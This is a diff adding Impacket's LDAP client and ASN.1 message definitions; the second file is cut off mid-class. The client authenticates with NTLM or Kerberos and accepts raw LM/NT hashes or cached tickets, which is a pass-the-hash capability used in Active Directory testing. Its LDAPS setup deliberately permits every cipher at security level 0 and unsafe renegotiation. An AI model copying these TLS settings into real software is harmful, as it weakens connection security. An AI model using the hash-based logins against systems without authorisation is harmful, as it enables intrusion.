+++ b/impacket/ldap/ldap.py
@@ -0,0 +1,627 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   RFC 4511 Minimalistic implementation. We don't need much functionality yet
+#   If we need more complex use cases we might opt to use a third party implementation
+#   Keep in mind the APIs are still unstable, might require to re-write your scripts
+#   as we change them.
+#   Adding [MS-ADTS] specific functionality
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Kacper Nowak (@kacpern)
+#
+# ToDo:
+#   [x] Implement Paging Search, especially important for big requests
+#
+
+import re
+import socket
+from binascii import unhexlify
+import random
+
+from pyasn1.codec.ber import encoder, decoder
+from pyasn1.error import SubstrateUnderrunError
+from pyasn1.type.univ import noValue
+
+from impacket import LOG
+from impacket.ldap.ldapasn1 import Filter, Control, SimplePagedResultsControl, ResultCode, Scope, DerefAliases, Operation, \
+    KNOWN_CONTROLS, CONTROL_PAGEDRESULTS, NOTIFICATION_DISCONNECT, KNOWN_NOTIFICATIONS, BindRequest, SearchRequest, \
+    SearchResultDone, LDAPMessage
+from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
+
+try:
+    import OpenSSL
+    from OpenSSL import SSL, crypto
+except:
+    LOG.critical("pyOpenSSL is not installed, can't continue")
+    raise
+
+__all__ = [
+    'LDAPConnection', 'LDAPFilterSyntaxError', 'LDAPFilterInvalidException', 'LDAPSessionError', 'LDAPSearchError',
+    'Control', 'SimplePagedResultsControl', 'ResultCode', 'Scope', 'DerefAliases', 'Operation',
+    'CONTROL_PAGEDRESULTS', 'KNOWN_CONTROLS', 'NOTIFICATION_DISCONNECT', 'KNOWN_NOTIFICATIONS',
+]
+
+# https://tools.ietf.org/search/rfc4515#section-3
+DESCRIPTION = r'(?:[a-z][a-z0-9\-]*)'
+NUMERIC_OID = r'(?:(?:\d|[1-9]\d+)(?:\.(?:\d|[1-9]\d+))*)'
+OID = r'(?:%s|%s)' % (DESCRIPTION, NUMERIC_OID)
+OPTIONS = r'(?:(?:;[a-z0-9\-]+)*)'
+ATTRIBUTE = r'(%s%s)' % (OID, OPTIONS)
+DN = r'(:dn)'
+MATCHING_RULE = r'(?::(%s))' % OID
+
+RE_OPERATOR = re.compile(r'([:<>~]?=)')
+RE_ATTRIBUTE = re.compile(r'^%s$' % ATTRIBUTE, re.I)
+RE_EX_ATTRIBUTE_1 = re.compile(r'^%s%s?%s?$' % (ATTRIBUTE, DN, MATCHING_RULE), re.I)
+RE_EX_ATTRIBUTE_2 = re.compile(r'^(){0}%s?%s$' % (DN, MATCHING_RULE), re.I)
+
+
+class LDAPConnection:
+    def __init__(self, url, baseDN='', dstIp=None):
+        """
+        LDAPConnection class
+
+        :param string url:
+        :param string baseDN:
+        :param string dstIp:
+
+        :return: a LDAP instance, if not raises a LDAPSessionError exception
+        """
+        self._SSL = False
+        self._dstPort = 0
+        self._dstHost = 0
+        self._socket = None
+        self._baseDN = baseDN
+        self._dstIp = dstIp
+
+        if url.startswith('ldap://'):
+            self._dstPort = 389
+            self._SSL = False
+            self._dstHost = url[7:]
+        elif url.startswith('ldaps://'):
+            self._dstPort = 636
+            self._SSL = True
+            self._dstHost = url[8:]
+        elif url.startswith('gc://'):
+            self._dstPort = 3268
+            self._SSL = False
+            self._dstHost = url[5:]
+        else:
+            raise LDAPSessionError(errorString="Unknown URL prefix: '%s'" % url)
+
+        # Try to connect
+        if self._dstIp is not None:
+            targetHost = self._dstIp
+        else:
+            targetHost = self._dstHost
+
+        LOG.debug('Connecting to %s, port %d, SSL %s' % (targetHost, self._dstPort, self._SSL))
+        try:
+            af, socktype, proto, _, sa = socket.getaddrinfo(targetHost, self._dstPort, 0, socket.SOCK_STREAM)[0]
+            self._socket = socket.socket(af, socktype, proto)
+        except socket.error as e:
+            raise socket.error('Connection error (%s:%d)' % (targetHost, self._dstPort), e)
+
+        if self._SSL is False:
+            self._socket.connect(sa)
+        else:
+            # Switching to TLS now
+            ctx = SSL.Context(SSL.TLS_METHOD)
+            ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
+            SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION = 0x00040000
+            ctx.set_options(SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION)
+            self._socket = SSL.Connection(ctx, self._socket)
+            self._socket.connect(sa)
+            self._socket.do_handshake()
+
+    def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
+                      TGS=None, useCache=True):
+        """
+        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
+
+        :param string user: username
+        :param string password: password for the user
+        :param string domain: domain where the account is valid for (required)
+        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
+        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
+        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
+        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
+        :param struct TGT: If there's a TGT available, send the structure here and it will be used
+        :param struct TGS: same for TGS. See smb3.py for the format
+        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
+
+        :return: True, raises a LDAPSessionError if error.
+        """
+
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:
+                lmhash = '0' + lmhash
+            if len(nthash) % 2:
+                nthash = '0' + nthash
+            try:  # just in case they were converted already
+                lmhash = unhexlify(lmhash)
+                nthash = unhexlify(nthash)
+            except TypeError:
+                pass
+
+        # Importing down here so pyasn1 is not required if kerberos is not used.
+        from impacket.krb5.ccache import CCache
+        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
+        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
+        from impacket.krb5 import constants
+        from impacket.krb5.types import Principal, KerberosTime, Ticket
+        import datetime
+
+        if TGT is not None or TGS is not None:
+            useCache = False
+
+        targetName = 'ldap/%s' % self._dstHost
+        if useCache:
+            domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName)
+
+        # First of all, we need to get a TGT for the user
+        userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        if TGT is None:
+            if TGS is None:
+                tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
+                                                                        aesKey, kdcHost)
+        else:
+            tgt = TGT['KDC_REP']
+            cipher = TGT['cipher']
+            sessionKey = TGT['sessionKey']
+
+        if TGS is None:
+            serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
+            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
+                                                                    sessionKey)
+        else:
+            tgs = TGS['KDC_REP']
+            cipher = TGS['cipher']
+            sessionKey = TGS['sessionKey']
+
+            # Let's build a NegTokenInit with a Kerberos REQ_AP
+
+        blob = SPNEGO_NegTokenInit()
+
+        # Kerberos
+        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
+
+        # Let's extract the ticket from the TGS
+        tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
+        ticket = Ticket()
+        ticket.from_asn1(tgs['ticket'])
+
+        # Now let's build the AP_REQ
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = []
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq, 'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = domain
+        seq_set(authenticator, 'cname', userName.components_to_asn1)
+        now = datetime.datetime.utcnow()
+
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 11
+        # AP-REQ Authenticator (includes application authenticator
+        # subkey), encrypted with the application session key
+        # (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        blob['MechToken'] = encoder.encode(apReq)
+
+        # Done with the Kerberos saga, now let's get into LDAP
+
+        bindRequest = BindRequest()
+        bindRequest['version'] = 3
+        bindRequest['name'] = user
+        bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
+        bindRequest['authentication']['sasl']['credentials'] = blob.getData()
+
+        response = self.sendReceive(bindRequest)[0]['protocolOp']
+
+        if response['bindResponse']['resultCode'] != ResultCode('success'):
+            raise LDAPSessionError(
+                errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),
+                                                                response['bindResponse']['diagnosticMessage'])
+            )
+
+        return True
+
+    def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'):
+        """
+        logins into the target system
+
+        :param string user: username
+        :param string password: password for the user
+        :param string domain: domain where the account is valid for
+        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
+        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
+        :param string authenticationChoice: type of authentication protocol to use (default NTLM)
+
+        :return: True, raises a LDAPSessionError if error.
+        """
+        bindRequest = BindRequest()
+        bindRequest['version'] = 3
+
+        if authenticationChoice == 'simple':
+            if '.' in domain:
+                bindRequest['name'] = user + '@' + domain
+            elif domain:
+                bindRequest['name'] = domain + '\\' + user
+            else:
+                bindRequest['name'] = user
+            bindRequest['authentication']['simple'] = password
+            response = self.sendReceive(bindRequest)[0]['protocolOp']
+        elif authenticationChoice == 'sicilyPackageDiscovery':
+            bindRequest['name'] = user
+            bindRequest['authentication']['sicilyPackageDiscovery'] = ''
+            response = self.sendReceive(bindRequest)[0]['protocolOp']
+        elif authenticationChoice == 'sicilyNegotiate':
+            # Deal with NTLM Authentication
+            if lmhash != '' or nthash != '':
+                if len(lmhash) % 2:
+                    lmhash = '0' + lmhash
+                if len(nthash) % 2:
+                    nthash = '0' + nthash
+                try:  # just in case they were converted already
+                    lmhash = unhexlify(lmhash)
+                    nthash = unhexlify(nthash)
+                except TypeError:
+                    pass
+
+            bindRequest['name'] = user
+
+            # NTLM Negotiate
+            negotiate = getNTLMSSPType1('', domain)
+            bindRequest['authentication']['sicilyNegotiate'] = negotiate.getData()
+            response = self.sendReceive(bindRequest)[0]['protocolOp']
+            if response['bindResponse']['resultCode'] != ResultCode('success'):
+                raise LDAPSessionError(
+                    errorString='Error in bindRequest during the NTLMAuthNegotiate request -> %s: %s' %
+                                (response['bindResponse']['resultCode'].prettyPrint(),
+                                 response['bindResponse']['diagnosticMessage'])
+                )
+
+            # NTLM Challenge
+            type2 = response['bindResponse']['matchedDN']
+
+            # NTLM Auth
+            type3, exportedSessionKey = getNTLMSSPType3(negotiate, bytes(type2), user, password, domain, lmhash, nthash)
+            bindRequest['authentication']['sicilyResponse'] = type3.getData()
+            response = self.sendReceive(bindRequest)[0]['protocolOp']
+        else:
+            raise LDAPSessionError(errorString="Unknown authenticationChoice: '%s'" % authenticationChoice)
+
+        if response['bindResponse']['resultCode'] != ResultCode('success'):
+            raise LDAPSessionError(
+                errorString='Error in bindRequest -> %s: %s' % (response['bindResponse']['resultCode'].prettyPrint(),
+                                                                response['bindResponse']['diagnosticMessage'])
+            )
+
+        return True
+
+    def search(self, searchBase=None, scope=None, derefAliases=None, sizeLimit=0, timeLimit=0, typesOnly=False,
+               searchFilter='(objectClass=*)', attributes=None, searchControls=None, perRecordCallback=None):
+        if searchBase is None:
+            searchBase = self._baseDN
+        if scope is None:
+            scope = Scope('wholeSubtree')
+        if derefAliases is None:
+            derefAliases = DerefAliases('neverDerefAliases')
+        if attributes is None:
+            attributes = []
+
+        searchRequest = SearchRequest()
+        searchRequest['baseObject'] = searchBase
+        searchRequest['scope'] = scope
+        searchRequest['derefAliases'] = derefAliases
+        searchRequest['sizeLimit'] = sizeLimit
+        searchRequest['timeLimit'] = timeLimit
+        searchRequest['typesOnly'] = typesOnly
+        searchRequest['filter'] = self._parseFilter(searchFilter)
+        searchRequest['attributes'].setComponents(*attributes)
+
+        done = False
+        answers = []
+        # We keep asking records until we get a SearchResultDone packet and all controls are handled
+        while not done:
+            response = self.sendReceive(searchRequest, searchControls)
+            for message in response:
+                searchResult = message['protocolOp'].getComponent()
+                if searchResult.isSameTypeWith(SearchResultDone()):
+                    if searchResult['resultCode'] == ResultCode('success'):
+                        done = self._handleControls(searchControls, message['controls'])
+                    else:
+                        raise LDAPSearchError(
+                            error=int(searchResult['resultCode']),
+                            errorString='Error in searchRequest -> %s: %s' % (searchResult['resultCode'].prettyPrint(),
+                                                                              searchResult['diagnosticMessage']),
+                            answers=answers
+                        )
+                else:
+                    if perRecordCallback is None:
+                        answers.append(searchResult)
+                    else:
+                        perRecordCallback(searchResult)
+
+        return answers
+
+    def _handleControls(self, requestControls, responseControls):
+        done = True
+        if requestControls is not None:
+            for requestControl in requestControls:
+                if responseControls is not None:
+                    for responseControl in responseControls:
+                        if str(requestControl['controlType']) == CONTROL_PAGEDRESULTS:
+                            if str(responseControl['controlType']) == CONTROL_PAGEDRESULTS:
+                                if hasattr(responseControl, 'getCookie') is not True:
+                                    responseControl = decoder.decode(encoder.encode(responseControl),
+                                                                 asn1Spec=KNOWN_CONTROLS[CONTROL_PAGEDRESULTS]())[0]
+                                if responseControl.getCookie():
+                                    done = False
+                                requestControl.setCookie(responseControl.getCookie())
+                                break
+                        else:
+                            # handle different controls here
+                            pass
+        return done
+
+    def close(self):
+        if self._socket is not None:
+            self._socket.close()
+
+    def send(self, request, controls=None):
+        message = LDAPMessage()
+        message['messageID'] = random.randrange(1, 2147483647)
+        message['protocolOp'].setComponentByType(request.getTagSet(), request)
+        if controls is not None:
+            message['controls'].setComponents(*controls)
+
+        data = encoder.encode(message)
+
+        return self._socket.sendall(data)
+
+    def recv(self):
+        REQUEST_SIZE = 8192
+        data = b''
+        done = False
+        while not done:
+            recvData = self._socket.recv(REQUEST_SIZE)
+            if len(recvData) < REQUEST_SIZE:
+                done = True
+            data += recvData
+
+        response = []
+        while len(data) > 0:
+            try:
+                message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
+            except SubstrateUnderrunError:
+                # We need more data
+                remaining = data + self._socket.recv(REQUEST_SIZE)
+            else:
+                if message['messageID'] == 0:  # unsolicited notification
+                    name = message['protocolOp']['extendedResp']['responseName'] or message['responseName']
+                    notification = KNOWN_NOTIFICATIONS.get(name, "Unsolicited Notification '%s'" % name)
+                    if name == NOTIFICATION_DISCONNECT:  # Server has disconnected
+                        self.close()
+                    raise LDAPSessionError(
+                        error=int(message['protocolOp']['extendedResp']['resultCode']),
+                        errorString='%s -> %s: %s' % (notification,
+                                                      message['protocolOp']['extendedResp']['resultCode'].prettyPrint(),
+                                                      message['protocolOp']['extendedResp']['diagnosticMessage'])
+                    )
+                response.append(message)
+            data = remaining
+
+        return response
+
+    def sendReceive(self, request, controls=None):
+        self.send(request, controls)
+        return self.recv()
+
+    def _parseFilter(self, filterStr):
+        try:
+            filterStr = filterStr.decode()
+        except AttributeError:
+            pass
+        filterList = list(reversed(filterStr))
+        searchFilter = self._consumeCompositeFilter(filterList)
+        if filterList:  # we have not consumed the whole filter string
+            raise LDAPFilterSyntaxError("unexpected token: '%s'" % filterList[-1])
+        return searchFilter
+
+    def _consumeCompositeFilter(self, filterList):
+        try:
+            c = filterList.pop()
+        except IndexError:
+            raise LDAPFilterSyntaxError('EOL while parsing search filter')
+        if c != '(':  # filter must start with a '('
+            filterList.append(c)
+            raise LDAPFilterSyntaxError("unexpected token: '%s'" % c)
+
+        try:
+            operator = filterList.pop()
+        except IndexError:
+            raise LDAPFilterSyntaxError('EOL while parsing search filter')
+        if operator not in ['!', '&', '|']:  # must be simple filter in this case
+            filterList.extend([operator, c])
+            return self._consumeSimpleFilter(filterList)
+
+        filters = []
+        while True:
+            try:
+                filters.append(self._consumeCompositeFilter(filterList))
+            except LDAPFilterSyntaxError:
+                break
+
+        try:
+            c = filterList.pop()
+        except IndexError:
+            raise LDAPFilterSyntaxError('EOL while parsing search filter')
+        if c != ')':  # filter must end with a ')'
+            filterList.append(c)
+            raise LDAPFilterSyntaxError("unexpected token: '%s'" % c)
+
+        return self._compileCompositeFilter(operator, filters)
+
+    def _consumeSimpleFilter(self, filterList):
+        try:
+            c = filterList.pop()
+        except IndexError:
+            raise LDAPFilterSyntaxError('EOL while parsing search filter')
+        if c != '(':  # filter must start with a '('
+            filterList.append(c)
+            raise LDAPFilterSyntaxError("unexpected token: '%s'" % c)
+
+        filter = []
+        while True:
+            try:
+                c = filterList.pop()
+            except IndexError:
+                raise LDAPFilterSyntaxError('EOL while parsing search filter')
+            if c == ')':  # we pop till we find a ')'
+                break
+            elif c == '(':  # should be no unencoded parenthesis
+                filterList.append(c)
+                raise LDAPFilterSyntaxError("unexpected token: '('")
+            else:
+                filter.append(c)
+
+        filterStr = ''.join(filter)
+        try:
+            # https://tools.ietf.org/search/rfc4515#section-3
+            attribute, operator, value = RE_OPERATOR.split(filterStr, 1)
+        except ValueError:
+            raise LDAPFilterInvalidException("invalid filter: '(%s)'" % filterStr)
+
+        return self._compileSimpleFilter(attribute, operator, value)
+
+    @staticmethod
+    def _compileCompositeFilter(operator, filters):
+        searchFilter = Filter()
+        if operator == '!':
+            if len(filters) != 1:
+                raise LDAPFilterInvalidException("'not' filter must have exactly one element")
+            searchFilter['not'].setComponents(*filters)
+        elif operator == '&':
+            if len(filters) == 0:
+                raise LDAPFilterInvalidException("'and' filter must have at least one element")
+            searchFilter['and'].setComponents(*filters)
+        elif operator == '|':
+            if len(filters) == 0:
+                raise LDAPFilterInvalidException("'or' filter must have at least one element")
+            searchFilter['or'].setComponents(*filters)
+
+        return searchFilter
+
+    @staticmethod
+    def _compileSimpleFilter(attribute, operator, value):
+        searchFilter = Filter()
+        if operator == ':=':  # extensibleMatch
+            match = RE_EX_ATTRIBUTE_1.match(attribute) or RE_EX_ATTRIBUTE_2.match(attribute)
+            if not match:
+                raise LDAPFilterInvalidException("invalid filter attribute: '%s'" % attribute)
+            attribute, dn, matchingRule = match.groups()
+            if attribute:
+                searchFilter['extensibleMatch']['type'] = attribute
+            if dn:
+                searchFilter['extensibleMatch']['dnAttributes'] = bool(dn)
+            if matchingRule:
+                searchFilter['extensibleMatch']['matchingRule'] = matchingRule
+            searchFilter['extensibleMatch']['matchValue'] = value
+        else:
+            if not RE_ATTRIBUTE.match(attribute):
+                raise LDAPFilterInvalidException("invalid filter attribute: '%s'" % attribute)
+            if value == '*' and operator == '=':  # present
+                searchFilter['present'] = attribute
+            elif '*' in value and operator == '=':  # substring
+                assertions = value.split('*')
+                choice = searchFilter['substrings']['substrings'].getComponentType()
+                substrings = []
+                if assertions[0]:
+                    substrings.append(choice.clone().setComponentByName('initial', assertions[0]))
+                for assertion in assertions[1:-1]:
+                    substrings.append(choice.clone().setComponentByName('any', assertion))
+                if assertions[-1]:
+                    substrings.append(choice.clone().setComponentByName('final', assertions[-1]))
+                searchFilter['substrings']['type'] = attribute
+                searchFilter['substrings']['substrings'].setComponents(*substrings)
+            elif '*' not in value:  # simple
+                if operator == '=':
+                    searchFilter['equalityMatch'].setComponents(attribute, value)
+                elif operator == '~=':
+                    searchFilter['approxMatch'].setComponents(attribute, value)
+                elif operator == '>=':
+                    searchFilter['greaterOrEqual'].setComponents(attribute, value)
+                elif operator == '<=':
+                    searchFilter['lessOrEqual'].setComponents(attribute, value)
+            else:
+                raise LDAPFilterInvalidException("invalid filter '(%s%s%s)'" % (attribute, operator, value))
+
+        return searchFilter
+
+
+class LDAPFilterSyntaxError(SyntaxError):
+    pass
+
+
+class LDAPFilterInvalidException(Exception):
+    pass
+
+
+class LDAPSessionError(Exception):
+    """
+    This is the exception every client should catch
+    """
+
+    def __init__(self, error=0, packet=0, errorString=''):
+        Exception.__init__(self)
+        self.error = error
+        self.packet = packet
+        self.errorString = errorString
+
+    def getErrorCode(self):
+        return self.error
+
+    def getErrorPacket(self):
+        return self.packet
+
+    def getErrorString(self):
+        return self.errorString
+
+    def __str__(self):
+        return self.errorString
+
+
+class LDAPSearchError(LDAPSessionError):
+    def __init__(self, error=0, packet=0, errorString='', answers=None):
+        LDAPSessionError.__init__(self, error, packet, errorString)
+        if answers is None:
+            answers = []
+        self.answers = answers
+
+    def getAnswers(self):
+        return self.answers
diff --git a/impacket/ldap/ldapasn1.py b/impacket/ldap/ldapasn1.py
new file mode 100644
index 0000000..4c55832
--- /dev/null
+++ b/impacket/ldap/ldapasn1.py
@@ -0,0 +1,701 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   RFC 4511 Minimalistic implementation. We don't need much functionality yet
+#   If we need more complex use cases we might opt to use a third party implementation
+#   Keep in mind the APIs are still unstable, might require to re-write your scripts
+#   as we change them.
+#   Adding [MS-ADTS] specific functionality
+#
+# Authors:
+#   Alberto Solino (@agsolino)
+#   Kacper Nowak (@kacpern)
+#
+from pyasn1.codec.ber import encoder, decoder
+from pyasn1.type import univ, namedtype, namedval, tag, constraint
+
+__all__ = [
+    'CONTROL_PAGEDRESULTS', 'CONTROL_SDFLAGS', 'KNOWN_CONTROLS', 'NOTIFICATION_DISCONNECT', 'KNOWN_NOTIFICATIONS',
+    # classes
+    'ResultCode', 'Scope', 'DerefAliases', 'Operation', 'MessageID', 'LDAPString', 'LDAPOID', 'LDAPDN',
+    'RelativeLDAPDN', 'AttributeDescription', 'AttributeValue', 'AssertionValue', 'MatchingRuleID', 'URI',
+    'AttributeValueAssertion', 'PartialAttribute', 'PartialAttributeList', 'Attribute', 'AttributeList',
+    'AttributeSelection', 'Referral', 'LDAPResult', 'SaslCredentials', 'AuthenticationChoice', 'BindRequest',
+    'BindResponse', 'UnbindRequest', 'SubstringFilter', 'MatchingRuleAssertion', 'Filter', 'SearchRequest',
+    'SearchResultEntry', 'SearchResultReference', 'SearchResultDone', 'ModifyRequest', 'ModifyResponse', 'AddRequest',
+    'AddResponse', 'DelRequest', 'DelResponse', 'ModifyDNRequest', 'ModifyDNResponse', 'CompareRequest',
+    'CompareResponse', 'AbandonRequest', 'ExtendedRequest', 'ExtendedResponse', 'IntermediateResponse', 'Control',
+    'Controls', 'SimplePagedResultsControlValue', 'SimplePagedResultsControl', 'LDAPMessage'
+]
+
+# Controls
+CONTROL_PAGEDRESULTS = '1.2.840.113556.1.4.319'
+CONTROL_SDFLAGS = '1.2.840.113556.1.4.801'
+
+KNOWN_CONTROLS = {}
+
+# Unsolicited notifications
+NOTIFICATION_DISCONNECT = '1.3.6.1.4.1.1466.20036'
+
+KNOWN_NOTIFICATIONS = {NOTIFICATION_DISCONNECT: 'Notice of Disconnection'}
+
+maxInt = univ.Integer(2147483647)
+
+
+class DefaultSequenceAndSetBaseMixin:
+    def getComponentByPosition(self, idx, default=univ.noValue, instantiate=True):
+        for cls in self.__class__.__bases__:
+            if cls is not DefaultSequenceAndSetBaseMixin:
+                try:
+                    component = cls.getComponentByPosition(self, idx)#, default, instantiate)
+                except AttributeError:
+                    continue
+                if component is None:
+                    return self.setComponentByPosition(idx).getComponentByPosition(idx)# , default, instantiate)
+                return component
+
+
+class ResultCode(univ.Enumerated):
+    namedValues = namedval.NamedValues(
+        ('success', 0),
+        ('operationsError', 1),
+        ('protocolError', 2),
+        ('timeLimitExceeded', 3),
+        ('sizeLimitExceeded', 4),
+        ('compareFalse', 5),
+        ('compareTrue', 6),
+        ('authMethodNotSupported', 7),
+        ('strongerAuthRequired', 8),
+        ('referral', 10),
+        ('adminLimitExceeded', 11),
+        ('unavailableCriticalExtension', 12),
+        ('confidentialityRequired', 13),
+        ('saslBindInProgress', 14),
+        ('noSuchAttribute', 16),
+        ('undefinedAttributeType', 17),
+        ('inappropriateMatching', 18),
+        ('constraintViolation', 19),
+        ('attributeOrValueExists', 20),
+        ('invalidAttributeSyntax', 21),
+        ('noSuchObject', 32),
+        ('aliasProblem', 33),
+        ('invalidDNSyntax', 34),
+        ('aliasDereferencingProblem', 36),
+        ('inappropriateAuthentication', 48),
+        ('invalidCredentials', 49),
+        ('insufficientAccessRights', 50),
+        ('busy', 51),
+        ('unavailable', 52),
+        ('unwillingToPerform', 53),
+        ('loopDetect', 54),
+        ('namingViolation', 64),
+        ('objectClassViolation', 65),
+        ('notAllowedOnNonLeaf', 66),
+        ('notAllowedOnRDN', 67),
+        ('entryAlreadyExists', 68),
+        ('objectClassModsProhibited', 69),
+        ('affectsMultipleDSAs', 71),
+        ('other', 80),
+    )
+
+
+class Scope(univ.Enumerated):
+    namedValues = namedval.NamedValues(
+        ('baseObject', 0),
+        ('singleLevel', 1),
+        ('wholeSubtree', 2),
+    )
+
+
+class DerefAliases(univ.Enumerated):
+    namedValues = namedval.NamedValues(
+        ('neverDerefAliases', 0),
+        ('derefInSearching', 1),
+        ('derefFindingBaseObj', 2),
+        ('derefAlways', 3),
+    )
+
+
+class Operation(univ.Enumerated):
+    namedValues = namedval.NamedValues(
+        ('add', 0),
+        ('delete', 1),
+        ('replace', 2),
+    )
+
+
+class MessageID(univ.Integer):
+    subtypeSpec = constraint.ValueRangeConstraint(0, maxInt)
+
+
+class LDAPString(univ.OctetString):
+    encoding = 'utf-8'
+
+
+class LDAPOID(univ.OctetString):
+    pass
+
+
+class LDAPDN(LDAPString):
+    pass
+
+
+class RelativeLDAPDN(LDAPString):
+    pass
+
+
+class AttributeDescription(LDAPString):
+    pass
+
+
+class AttributeValue(univ.OctetString):
+    pass
+
+
+class AssertionValue(univ.OctetString):
+    pass
+
+
+class MatchingRuleID(LDAPString):
+    pass
+
+
+class URI(LDAPString):
+    pass
+
+
+class AttributeValueAssertion(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('attributeDesc', AttributeDescription()),
+        namedtype.NamedType('assertionValue', AssertionValue())
+    )
+
+
+class PartialAttribute(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('type', AttributeDescription()),
+        namedtype.NamedType('vals', univ.SetOf(componentType=AttributeValue()))
+    )
+
+
+class PartialAttributeList(univ.SequenceOf):
+    componentType = PartialAttribute()
+
+
+class Attribute(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('type', AttributeDescription()),
+        namedtype.NamedType(
+            'vals',
+            univ.SetOf(componentType=AttributeValue()).subtype(subtypeSpec=constraint.ValueSizeConstraint(1, maxInt))
+        )
+    )
+
+
+class AttributeList(univ.SequenceOf):
+    componentType = Attribute()
+
+
+class AttributeSelection(univ.SequenceOf):
+    componentType = LDAPString()
+
+
+class Referral(univ.SequenceOf):
+    componentType = URI()
+    subtypeSpec = constraint.ValueSizeConstraint(1, maxInt)
+
+
+class LDAPResult(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('resultCode', ResultCode()),
+        namedtype.NamedType('matchedDN', LDAPDN()),
+        namedtype.NamedType('diagnosticMessage', LDAPString()),
+        namedtype.OptionalNamedType(
+            'referral', Referral().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 3))
+        )
+    )
+
+
+class SaslCredentials(univ.Sequence):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('mechanism', LDAPString()),
+        namedtype.OptionalNamedType('credentials', univ.OctetString())
+    )
+
+
+class AuthenticationChoice(DefaultSequenceAndSetBaseMixin, univ.Choice):
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType(
+            'simple',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))
+        ),
+        namedtype.NamedType(
+            'sasl',
+            SaslCredentials().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 3))
+        ),
+        namedtype.NamedType(
+            'sicilyPackageDiscovery',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 9))
+        ),
+        namedtype.NamedType(
+            'sicilyNegotiate',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 10))
+        ),
+        namedtype.NamedType(
+            'sicilyResponse',
+            univ.OctetString().subtype(implicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 11))
+        )
+    )
+
+
+class BindRequest(DefaultSequenceAndSetBaseMixin, univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('version', univ.Integer().subtype(subtypeSpec=constraint.ValueRangeConstraint(1, 127))),
+        namedtype.NamedType('name', LDAPDN()),
+        namedtype.NamedType('authentication', AuthenticationChoice())
+    )
+
+
+class BindResponse(univ.Sequence):
+    tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 1))
+    componentType = namedtype.NamedTypes(
+        namedtype.NamedType('resultCode', ResultCode()),
+        namedtype.NamedType('matchedDN', LDAPDN()),
+        namedtype.NamedType('diagnosticMessage', LDAPString()),
+        namedtype.OptionalNamedType(
+            'referral',
